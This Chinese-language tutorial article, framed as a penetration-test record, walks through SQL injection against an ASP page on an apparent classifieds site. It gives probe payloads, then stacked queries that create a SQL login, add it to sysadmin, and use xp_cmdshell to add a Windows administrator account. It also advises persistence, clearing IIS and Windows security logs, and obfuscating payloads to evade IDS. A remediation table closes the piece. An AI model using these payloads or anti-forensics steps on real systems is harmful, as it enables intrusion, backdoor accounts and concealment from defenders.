首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

SQL 注入實戰:利用 dbo 權限從注入點直達系統管理員

     編輯:MySQL 資料庫相關知識

案例背景:某供求信息發布系統的滲透測試記錄

目標頁面:/new.asp?ID=49
測試序列與關鍵判斷:

步驟Payload響應推斷
1ID=49'JET 錯誤 '80040e14':字符串語法錯誤Access + 無過濾 + 字符型注入
2AND 1=1正常返回基準確認
3AND 1=2BOF/EOF 錯誤 '800a0bcd'邏輯判斷成立 → **確認注入**
4AND USER>0ODBC 錯誤 '800a0bcd':將 nvarchar 值 **"dbo"** 轉換為 int 失敗**SQL Server + 當前用戶 = dbo (sa 權限)** → 可走 xp_cmdshell 路徑

關鍵結論:報錯顯示 dbo 而非普通用戶名,意味著 Web 應用使用 **sa (系統管理員)** 連接數據庫,擁有最高權限,可直接調用 xp_cmdshell、sp_addlogin 等擴展存儲過程實現系統級提權。

提權實戰步驟:從 SQL 管理員到系統管理員


-- (1) 創建 SQL 登錄帳號 fmzm
;EXEC master.dbo.sp_addlogin 'fmzm';--

-- (2) 設置密碼
;EXEC master.dbo.sp_password NULL, 'fmzm', 'fmzm';--

-- (3) 加入 sysadmin 固定服務器角色 (獲得 SQL 最高權限)
;EXEC master.dbo.sp_addsrvrolemember 'fmzm', 'sysadmin';--
-- 若失效嘗試參數順序調整:
;EXEC master.dbo.sp_addsrvrolemember 'sysadmin', 'fmzm';--

-- (4) 創建系統用戶並加入 Administrators 組
;EXEC master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;EXEC master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--

關鍵參數解析

參數作用
/workstations:*允許從任意工作站登錄
/times:all允許全天候登錄
/passwordchg:yes允許用戶修改密碼
/passwordreq:yes要求密碼非空
/active:yes帳號啟用

缺少上述參數會導致帳號建立但無法登錄、被禁用、密碼過期等「隱形失效」問題。

後續利用:持久化與隱匿

  1. 開啟 Telnet/SSH/RDP:xp_cmdshell 執行註冊表修改、服務啟動、防火牆放行。
  2. SQL 連接器直連:使用 fmzm/fmzm 連接 1433 端口,執行任意 SQL、再調用 xp_cmdshell。
  3. 清理痕跡:刪除 IIS 日誌中相關條目、清理 Windows 安全日誌 (Event ID 4624/4672/4688)、刪除創建的臨時表/存儲過程。
  4. 注意 IDS/IPS:現代防禦體系已對 xp_cmdshell、sp_addlogin、net user 等關鍵字進行流量檢測,實戰需編碼/混淆/分塊傳輸。

輔助信息收集 Payload


-- 獲取當前數據库名
;AND DB_NAME()>0--

-- 獲取服務器版本
;AND @@VERSION>0--

-- 列舉所有數據庫
;AND (SELECT COUNT(*) FROM master.dbo.sysdatabases WHERE dbid>4)>0--

根因分析與修復建議

風險點嚴重度修復措施
Web 應用使用 sa 連接數據庫Critical創建專用低權限登錄,僅授予業務表 SELECT/INSERT/UPDATE/DELETE
ID 參數無參數化查詢CriticalASP 使用 ADODB.Command + Parameters;ASP.NET 使用 SqlParameter
xp_cmdshell 開放給 PUBLICHighREVOKE EXECUTE ON xp_cmdshell TO PUBLIC;必要時刪除 sp_dropextendedproc 'xp_cmdshell'
詳細錯誤信息回顯HighIIS 設置自定義 500 錯誤頁,web.config
無 WAF/日誌審計Medium部署 ModSecurity + CRS,SIEM 收集 IIS/SQL 錯誤日誌告警

結語

本案例完美展示了 **「注入點 → sa 權限確認 → 存儲過程鏈提權 → 系統管理員」** 的經典殺傷鏈。核心教訓:**數據庫連接帳號權限過大是放大注入危害的核心放大器**。即使存在注入點,若 Web 布號僅擁有業務表 DML 權限、禁用高危存儲過程,攻擊面將縮小 90% 以上。參數化查詢 + 最小權限 + 錯誤隱藏,三板斧打斷殺傷鏈。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved